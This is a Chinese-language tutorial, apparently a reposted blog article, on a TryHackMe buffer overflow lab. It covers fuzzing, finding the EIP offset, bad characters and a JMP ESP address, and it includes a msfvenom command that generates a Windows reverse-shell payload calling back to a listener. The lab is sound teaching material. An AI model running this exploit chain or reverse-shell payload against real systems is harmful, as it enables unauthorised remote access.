用脚本小子的方法学习缓冲区溢出漏洞

admin 2025年1月2日10:31:38评论10 views字数 2112阅读7分2秒阅读模式

点击上方蓝字关注我们

0x00:前置知识以及脚本

之前虽然有写过一些缓冲区入门的文章。但随机问了一些人表示阿巴阿巴你写的看不懂。。。。。行吧那就换种方法用脚本操纵缓冲区溢出比较简单点。

本次在线漏洞测试平台(免费,注册个号即可):https://tryhackme.com/room/bufferoverflowprep

脚本下载地址(需改装): https://github.com/hum4nG0D/OSCP_Bufferovrflw_Prep

(也可不下载,该页面也会有提供脚本复制粘贴也可)

用脚本小子的方法学习缓冲区溢出漏洞

往下拉就可开启机子,有网页版kali提供。虽然号称是免费但人在中国,服务器在美国如果有能力的话建议可以考虑买个会员使用VIP服务器延迟会低点。

用脚本小子的方法学习缓冲区溢出漏洞

0x01:Fuzz测试

这里先解释一下Fuzz测试,你可以理解为啥都往里丢测试。由于我们现在进行的是缓冲区溢出测试,重点在溢出。有点像把水倒入杯子里面,观察倒多少水才能溢出来。而我们通过这个模糊测试可以大概判断出这个程序的极限可以接收多少数据。

用脚本小子的方法学习缓冲区溢出漏洞

这里先把github上的第一个脚本01-fuzz.py稍微改装一下,红点指的地方即为需要更改或稍微添加的地方。

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

然后直接python运行,FUZZ测试后发现程序大概在接收2100 bytes左右崩了

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

当然建议也顺便用用网页所提供的脚本测试一下,有点小误差。

用脚本小子的方法学习缓冲区溢出漏洞

0x02:精准定位

虽然我们大概知道程序崩溃点大概在2000-2100左右但还没确定一个精准的位置。所以下一步就是要确认程序崩溃的位置在哪。首先我们需要借助kali自带的pattern_create.rb脚本创造很多很多字符串

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

这里建议用网页所提供的脚本然后复制粘贴到buffer这个变量里面下面就稍微改改IP地址之类的。重新运行程序一次。

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

然后再Windows上运行!mona findmsp -distance 3000(这个数字是可以更改的根据前面你生成的字符串数量)。可以看到有个EIP contains normal pattern 0x6f43396e (offset 1978)的字样。(EIP寄存器存储着CPU要读取指令的地方尽头只到了1978这个位置说明极限可能在这里)。

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

如果想验证一波极限是否在这里的话可以在刚才的脚本里面设置一个返回值。比如说4个B

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

此时稍微更新一波脚本把offset变量的值设为1978 retn可以设置为BBBB或者其它也可重新运行一次脚本

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

可以看到此时的EIP已经覆盖变成42424242了(16进制下的BBBB)

用脚本小子的方法学习缓冲区溢出漏洞

0x03:寻找坏字符串

现在我们已经找到一个程序崩溃可以覆盖掉的点了。接下来是寻找坏字符串。由于我们后期是通过写shellcode进程序把它弄崩溃以后获得一个反弹权限。但有些shellcode程序会不认可,这会导致我们的shellcode写入失败。常见的坏字符串有x00(空字节), x0A(空格), x0D(回车),xFF(换页)。但这并不是固定的,每个程序的坏字符串都有可能不一样,不过x00应该是上黑名单首页的。

用脚本小子的方法学习缓冲区溢出漏洞

这里可以用网页所提供的py脚本生成字符串,然后丢到程序里慢慢排查有哪些字符串是坏字符串

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

这里把py生成的字符串贴到bad变量里面稍微更改下IP地址就可

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

回到windows被攻击机这里找一波ESP的地址然后用!mona compare -f C:monaoscpbytearray.bin -a ESP地址

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

这里会弹出一个对话框,嫌疑目标是6个。并不代表着6个全都是坏的有可能是其中某些坏了连累了后面的。00就可以自动忽略了系统也提示了Bytes omitted from input 00

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

这里其实就是排错法了。把07在脚本里面删了,坏字符串这里07还在上榜,08没了

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

把08从脚本里面删了,07还在坏字符串榜上,08也上榜了,07是内鬼坏字符串。

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

这里大概做了一个笔记,最后大概确定了坏字符串为07 2e a0还有00

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

这里更新一波生成的字符串去除那四大天王。

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

最后重新运行一次把四大天王给删了终于没有坏字符串了。

用脚本小子的方法学习缓冲区溢出漏洞

0x04:寻找跳跃点

然后我们就要找波跳跃点,用这条mona指令, -cpb是用来识别错误字符

!mona jmp -r esp -cpb “x00”

用脚本小子的方法学习缓冲区溢出漏洞

这条命令可以查找所有的jmp esp指令,这些指令的地址不会包含任何指定的badchar

输入完以后我选择最头顶的0x625011af

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

这里就可以把该地址写到retn这个变量里,不过要注意要反着来写而且要加x

用脚本小子的方法学习缓冲区溢出漏洞

0x05:利用msfvenom生成payload

接下来就是用MSFVENOM生成波最后的payload

命令: msfvenom -p windows/shell_reverse_tcp LHOST=10.4.37.12 LPORT=4444 -b 'x00x07x2exa0' -f c

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

然后复制到payload里面就可。还有一个要注意的点是NOPS,由于这个msfvenom可能是使用编码器来生成payload,所以我们得在内存中流出一些空间来让payload自己解压缩。在padding这里留16个x90出来最后的脚本是这样的

用脚本小子的方法学习缓冲区溢出漏洞

用脚本小子的方法学习缓冲区溢出漏洞

最后运行,记得提前开启nc一键获得权限,视频讲解可能迟点弄出来

用脚本小子的方法学习缓冲区溢出漏洞

原文始发于微信公众号(神隐攻防实验室):用脚本小子的方法学习缓冲区溢出漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日10:31:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用脚本小子的方法学习缓冲区溢出漏洞https://cn-sec.com/archives/787895.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息